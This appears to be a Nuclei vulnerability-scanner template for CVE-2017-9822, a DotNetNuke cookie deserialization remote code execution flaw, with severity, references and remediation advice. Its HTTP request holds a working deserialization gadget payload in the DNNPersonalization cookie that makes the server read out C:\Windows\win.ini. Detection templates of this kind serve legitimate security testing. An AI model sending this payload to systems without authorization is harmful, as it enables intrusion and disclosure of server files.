id: CVE-2017-9822

info:
  name: DotNetNuke 5.0.0 - 9.3.0 - Cookie Deserialization Remote Code Execution
  author: milo2012
  severity: high
  description: DotNetNuke (DNN) versions between 5.0.0 - 9.3.0 are affected by a deserialization vulnerability that leads to remote code execution.
  impact: |
    Remote code execution through cookie deserialization
  remediation: |
    Upgrade DotNetNuke to a version higher than 9.3.0
  reference:
    - https://github.com/murataydemir/CVE-2017-9822
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9822
    - http://www.dnnsoftware.com/community/security/security-center
    - http://packetstormsecurity.com/files/157080/DotNetNuke-Cookie-Deserialization-Remote-Code-Execution.html
    - https://github.com/xbl3/awesome-cve-poc_qazbnm456
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2017-9822
    cwe-id: CWE-20
    epss-score: 0.97056
    epss-percentile: 0.99742
    cpe: cpe:2.3:a:dnnsoftware:dotnetnuke:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dnnsoftware
    product: dotnetnuke
  tags: cve2017,cve,packetstorm,dotnetnuke,bypass,rce,deserialization,kev,dnnsoftware

http:
  - raw:
      - |
        GET /__ HTTP/1.1
        Host: {{Hostname}}
        Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
        X-Requested-With: XMLHttpRequest
        Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '[extensions]'
          - 'for 16-bit app support'
        condition: and

      - type: status
        status:
          - 404
# digest: 4a0a00473045022100e5a6fd927cb393e452ead22d7d8b924abfdf94422c410f8418c378a65793b36102202d80e248af2287baf5e074b0fe40a19537693f901e83fe06d05104b7f4607a1a:922c64590222798bb761d5b6d8e72950